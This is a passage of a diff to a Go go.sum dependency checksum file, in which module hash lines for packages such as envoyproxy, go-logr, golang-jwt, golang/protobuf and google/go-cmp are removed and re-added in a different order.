+github.com/dghubble/oauth1 v0.7.3 h1:EkEM/zMDMp3zOsX2DC/ZQ2vnEX3ELK0/l9kb+vs4ptE= github.com/dghubble/sling v1.4.2/go.mod h1:o0arCOz0HwfqYQJLrRtqunaWOn4X6jxE/6ORKRpVTD4= -github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= +github.com/dghubble/sling v1.4.2 h1:vs1HIGBbSl2SEALyU+irpYFLZMfc49Fp+jYryFebQjM= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= -github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e h1:vUmf0yezR0y7jJ5pceLHthLaYf4bA5T14B6q39S4q2Q= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e/go.mod h1:YTIHhz/QFSYnu/EhlF2SpU2Uk+32abacUYA5ZPljz1A= -github.com/djherbis/times v1.6.0 h1:w2ctJ92J8fBvWPxugmXIv7Nz7Q3iDMKNx9v5ocVH20c= +github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e h1:vUmf0yezR0y7jJ5pceLHthLaYf4bA5T14B6q39S4q2Q= github.com/djherbis/times v1.6.0/go.mod h1:gOHeRAz2h+VJNZ5Gmc/o7iD9k4wW7NMVqieYCY99oc0= -github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc= -github.com/dlclark/regexp2 v1.11.5 h1:Q/sSnsKerHeCkc/jSTNq1oCm7KiVgUMZRDUoRu0JQZQ= +github.com/djherbis/times v1.6.0 h1:w2ctJ92J8fBvWPxugmXIv7Nz7Q3iDMKNx9v5ocVH20c= github.com/dlclark/regexp2 v1.11.5/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= -github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7 h1:uh1GSejOhVPRQmoXZxY82TiewZB8QXiaP1skL7Nun3Y= +github.com/dlclark/regexp2 v1.11.5 h1:Q/sSnsKerHeCkc/jSTNq1oCm7KiVgUMZRDUoRu0JQZQ= +github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc= github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7/go.mod h1:ncTaGuXc5v7AuiVekeJ0Nwh8Bf4cudukoj0qM/15UZE= -github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7 h1:uh1GSejOhVPRQmoXZxY82TiewZB8QXiaP1skL7Nun3Y= github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/envoyproxy/go-control-plane/envoy v1.37.0/go.mod h1:DReE9MMrmecPy+YvQOAOHNYMALuowAnbjjEMkkWOi6A= +github.com/envoyproxy/go-control-plane/envoy v1.37.0 h1:u3riX6BoYRfF4Dr7dwSOroNfdSbEPe9Yyl09/B6wBrQ= +github.com/envoyproxy/go-control-plane/ratelimit v0.1.0/go.mod h1:Wk+tMFAFbCXaJPzVVHnPgRKdUdwW/KdbRt94AzgRee4= +github.com/envoyproxy/go-control-plane/ratelimit v0.1.0 h1:/G9QYbddjL25KvtKTv3an9lx6VBE2cnb8wp1vEGNYGI= +github.com/envoyproxy/go-control-plane v0.14.0/go.mod h1:NcS5X47pLl/hfqxU70yPwL9ZMkUlwlKxtAohpi2wBEU= +github.com/envoyproxy/go-control-plane v0.14.0 h1:hbG2kr4RuFj222B6+7T83thSPqLjwBIfQawTkC++2HA= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= -github.com/envoyproxy/go-control-plane v0.14.0 h1:hbG2kr4RuFj222B6+7T83thSPqLjwBIfQawTkC++2HA= -github.com/envoyproxy/go-control-plane v0.14.0/go.mod h1:NcS5X47pLl/hfqxU70yPwL9ZMkUlwlKxtAohpi2wBEU= -github.com/envoyproxy/go-control-plane/envoy v1.37.0 h1:u3riX6BoYRfF4Dr7dwSOroNfdSbEPe9Yyl09/B6wBrQ= -github.com/envoyproxy/go-control-plane/envoy v1.37.0/go.mod h1:DReE9MMrmecPy+YvQOAOHNYMALuowAnbjjEMkkWOi6A= -github.com/envoyproxy/go-control-plane/ratelimit v0.1.0 h1:/G9QYbddjL25KvtKTv3an9lx6VBE2cnb8wp1vEGNYGI= -github.com/envoyproxy/go-control-plane/ratelimit v0.1.0/go.mod h1:Wk+tMFAFbCXaJPzVVHnPgRKdUdwW/KdbRt94AzgRee4= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/envoyproxy/protoc-gen-validate v1.3.3 h1:MVQghNeW+LZcmXe7SY1V36Z+WFMDjpqGAGacLe2T0ds= github.com/envoyproxy/protoc-gen-validate v1.3.3/go.mod h1:TsndJ/ngyIdQRhMcVVGDDHINPLWB7C82oDArY51KfB0= +github.com/envoyproxy/protoc-gen-validate v1.3.3 h1:MVQghNeW+LZcmXe7SY1V36Z+WFMDjpqGAGacLe2T0ds= github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= -github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= -github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo= +github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= -github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= +github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo= github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= -github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= +github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= +github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= -github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k= github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0= -github.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM= +github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k= github.com/fxamacker/cbor/v2 v2.9.0/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ= -github.com/gaissmai/bart v0.25.0 h1:eqiokVPqM3F94vJ0bTHXHtH91S8zkKL+bKh+BsGOsJM= +github.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM= github.com/gaissmai/bart v0.25.0/go.mod h1:GREWQfTLRWz/c5FTOsIw+KkscuFkIV5t8Rp7Nd1Td5c= -github.com/gen2brain/shm v0.1.1 h1:1cTVA5qcsUFixnDHl14TmRoxgfWEEZlTezpUj1vm5uQ= +github.com/gaissmai/bart v0.25.0 h1:eqiokVPqM3F94vJ0bTHXHtH91S8zkKL+bKh+BsGOsJM= github.com/gen2brain/shm v0.1.1/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA= -github.com/github/fakeca v0.1.0 h1:Km/MVOFvclqxPM9dZBC4+QE564nU4gz4iZ0D9pMw28I= +github.com/gen2brain/shm v0.1.1 h1:1cTVA5qcsUFixnDHl14TmRoxgfWEEZlTezpUj1vm5uQ= github.com/github/fakeca v0.1.0/go.mod h1:+bormgoGMMuamOscx7N91aOuUST7wdaJ2rNjeohylyo= -github.com/glebarez/go-sqlite v1.22.0 h1:uAcMJhaA6r3LHMTFgP0SifzgXg46yJkgxqyuyec+ruQ= +github.com/github/fakeca v0.1.0 h1:Km/MVOFvclqxPM9dZBC4+QE564nU4gz4iZ0D9pMw28I= github.com/glebarez/go-sqlite v1.22.0/go.mod h1:PlBIdHe0+aUEFn+r2/uthrWq4FxbzugL0L8Li6yQJbc= -github.com/glebarez/sqlite v1.11.0 h1:wSG0irqzP6VurnMEpFGer5Li19RpIRi2qvQz++w0GMw= +github.com/glebarez/go-sqlite v1.22.0 h1:uAcMJhaA6r3LHMTFgP0SifzgXg46yJkgxqyuyec+ruQ= github.com/glebarez/sqlite v1.11.0/go.mod h1:h8/o8j5wiAsqSPoWELDUdJXhjAhsVliSn7bWZjOhrgQ= -github.com/go-chi/chi/v5 v5.2.3 h1:WQIt9uxdsAbgIYgid+BpYc+liqQZGMHRaUwp0JUcvdE= -github.com/go-chi/chi/v5 v5.2.3/go.mod h1:L2yAIGWB3H+phAw1NxKwWM+7eUH/lU8pOMm5hHcoops= -github.com/go-jose/go-jose/v4 v4.1.3 h1:CVLmWDhDVRa6Mi/IgCgaopNosCaHz7zrMeF9MlZRkrs= -github.com/go-jose/go-jose/v4 v4.1.3/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08= -github.com/go-json-experiment/json v0.0.0-20251027170946-4849db3c2f7e h1:Lf/gRkoycfOBPa42vU2bbgPurFong6zXeFtPoxholzU= -github.com/go-json-experiment/json v0.0.0-20251027170946-4849db3c2f7e/go.mod h1:uNVvRXArCGbZ508SxYYTC5v1JWoz2voff5pm25jU1Ok= -github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= -github.com/go-lark/lark v1.16.0 h1:U6BwkLM9wrZedSM7cIiMofganr8PCvJN+M75w2lf2Gg= -github.com/go-lark/lark v1.16.0/go.mod h1:6ltbSztPZRT6IaO9ZIQyVaY5pVp/KeMizDYtfZkU+vM= -github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= -github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= -github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI= -github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= -github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= -github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= -github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= -github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= -github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= -github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= -github.com/go-playground/universal-translator v0.16.0/go.mod h1:1AnU7NaIRDWWzGEKwgtJRd2xk99HeFyHw3yid4rvQIY= -github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= -github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= -github.com/go-quicktest/qt v1.101.0 h1:O1K29Txy5P2OK0dGo59b7b0LR6wKfIhttaAhHUyn7eI= -github.com/go-quicktest/qt v1.101.0/go.mod h1:14Bz/f7NwaXPtdYEgzsx46kqSxVwTbzVZsDC26tQJow= -github.com/go-redis/redis/v8 v8.11.5/go.mod h1:gREzHqY1hg6oD9ngVRbLStwAWKhA0FEgq8Jd4h5lpwo= -github.com/go-redis/redis/v8 v8.11.6-0.20220405070650-99c79f7041fc h1:jZY+lpZB92nvBo2f31oPC/ivGll6NcsnEOORm8Fkr4M= -github.com/go-redis/redis/v8 v8.11.6-0.20220405070650-99c79f7041fc/go.mod h1:25mL1NKxbJhB63ihiK8MnNeTRd+xAizd6bOdydrTLUQ= -github.com/go-sql-driver/mysql v1.9.3 h1:U/N249h2WzJ3Ukj8SowVFjdtZKfu9vlLZxjPXV1aweo= -github.com/go-sql-driver/mysql v1.9.3/go.mod h1:qn46aNg1333BRMNU69Lq93t8du/dwxI64Gl8i5p1WMU= -github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= -github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= -github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible h1:2cauKuaELYAEARXRkq2LrJ0yDDv1rW7+wrTEdVL3uaU= -github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible/go.mod h1:qf9acutJ8cwBUhm1bqgz6Bei9/C/c93FPDljKWwsOgM= -github.com/go-test/deep v1.1.1 h1:0r/53hagsehfO4bzD2Pgr/+RgHqhmf+k1Bpse2cTu1U= -github.com/go-test/deep v1.1.1/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= -github.com/go4org/plan9netshell v0.0.0-20250324183649-788daa080737 h1:cf60tHxREO3g1nroKr2osU3JWZsJzkfi7rEg+oAB0Lo= +github.com/glebarez/sqlite v1.11.0 h1:wSG0irqzP6VurnMEpFGer5Li19RpIRi2qvQz++w0GMw= github.com/go4org/plan9netshell v0.0.0-20250324183649-788daa080737/go.mod h1:MIS0jDzbU/vuM9MC4YnBITCv+RYuTRq8dJzmCrFsK9g= -github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU= +github.com/go4org/plan9netshell v0.0.0-20250324183649-788daa080737 h1:cf60tHxREO3g1nroKr2osU3JWZsJzkfi7rEg+oAB0Lo= github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= -github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og= +github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU= github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= -github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs= +github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og= github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc= +github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs= +github.com/go-chi/chi/v5 v5.2.3/go.mod h1:L2yAIGWB3H+phAw1NxKwWM+7eUH/lU8pOMm5hHcoops= +github.com/go-chi/chi/v5 v5.2.3 h1:WQIt9uxdsAbgIYgid+BpYc+liqQZGMHRaUwp0JUcvdE= github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= -github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg= github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466/go.mod h1:ZiQxhyQ+bbbfxUKVvjfO498oPYvtYhZzycal3G/NHmU= -github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA= +github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg= github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= -github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= +github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= +github.com/go-jose/go-jose/v4 v4.1.3/go.mod h1:x4oUasVrzR7071A4TnHLGSPpNOm2a21K9Kf04k1rs08= +github.com/go-jose/go-jose/v4 v4.1.3 h1:CVLmWDhDVRa6Mi/IgCgaopNosCaHz7zrMeF9MlZRkrs= +github.com/go-json-experiment/json v0.0.0-20251027170946-4849db3c2f7e/go.mod h1:uNVvRXArCGbZ508SxYYTC5v1JWoz2voff5pm25jU1Ok= +github.com/go-json-experiment/json v0.0.0-20251027170946-4849db3c2f7e h1:Lf/gRkoycfOBPa42vU2bbgPurFong6zXeFtPoxholzU= +github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8/go.mod h1:wcDNUvekVysuuOpQKo3191zZyTpiI6se1N1ULghS0sw= +github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 h1:f+oWsMOmNPc8JmEHVZIycC7hBoQxHH9pNKQORJNozsQ= github.com/golang-jwt/jwt/v4 v4.4.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= -github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI= github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= +github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI= github.com/golang-jwt/jwt/v5 v5.0.0/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= github.com/golang-jwt/jwt/v5 v5.2.1/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= -github.com/golang-jwt/jwt/v5 v5.3.0 h1:pv4AsKCKKZuqlgs5sUmn4x8UlGa0kEVt/puTpKx9vvo= github.com/golang-jwt/jwt/v5 v5.3.0/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 h1:f+oWsMOmNPc8JmEHVZIycC7hBoQxHH9pNKQORJNozsQ= -github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8/go.mod h1:wcDNUvekVysuuOpQKo3191zZyTpiI6se1N1ULghS0sw= +github.com/golang-jwt/jwt/v5 v5.3.0 h1:pv4AsKCKKZuqlgs5sUmn4x8UlGa0kEVt/puTpKx9vvo= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= -github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= -github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= -github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg= +github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= +github.com/go-lark/lark v1.16.0/go.mod h1:6ltbSztPZRT6IaO9ZIQyVaY5pVp/KeMizDYtfZkU+vM= +github.com/go-lark/lark v1.16.0 h1:U6BwkLM9wrZedSM7cIiMofganr8PCvJN+M75w2lf2Gg= +github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= +github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= +github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI= +github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= +github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= +github.com/googleapis/enterprise-certificate-proxy v0.3.12/go.mod h1:vqVt9yG9480NtzREnTlmGSBmFrA+bzb0yl0TxoBQXOg= +github.com/googleapis/enterprise-certificate-proxy v0.3.12 h1:Fg+zsqzYEs1ZnvmcztTYxhgCBsx3eEhEwQ1W/lHq/sQ= +github.com/googleapis/gax-go/v2 v2.17.0/go.mod h1:mzaqghpQp4JDh3HvADwrat+6M3MOIDp5YKHhb9PAgDY= +github.com/googleapis/gax-go/v2 v2.17.0 h1:RksgfBpxqff0EZkDWYuz9q/uWsTVz+kf43LsZ1J6SMc= github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= +github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.31.0/go.mod h1:P4WPRUkOhJC13W//jWpyfJNDAIpvRbAUIYLX/4jtlE0= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.31.0 h1:DHa2U07rk8syqvCge0QIGMCE1WxGj9njT44GH7zNJLQ= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.55.0/go.mod h1:IA1C1U7jO/ENqm/vhi7V9YYpBsp+IMyqNrEN94N7tVc= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.55.0 h1:UnDZ/zFfG1JhH/DqxIZYU/1CUAlTUScoXD/LcM2Ykk8= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.55.0/go.mod h1:vB2GH9GAYYJTO3mEn8oYwzEdhlayZIdQz6zdzgUIRvA= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.55.0 h1:7t/qx5Ost0s0wbA/VDrByOooURhp+ikYwv20i9Y07TQ= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.55.0/go.mod h1:Mf6O40IAyB9zR/1J8nGDDPirZQQPbYJni8Yisy7NTMc= +github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.55.0 h1:0s6TxfCu2KHkkZPnBfsQ2y5qia0jl3MMrmBhu3nCOYk= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -394,315 +359,350 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= -github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/go-querystring v1.1.0/go.mod 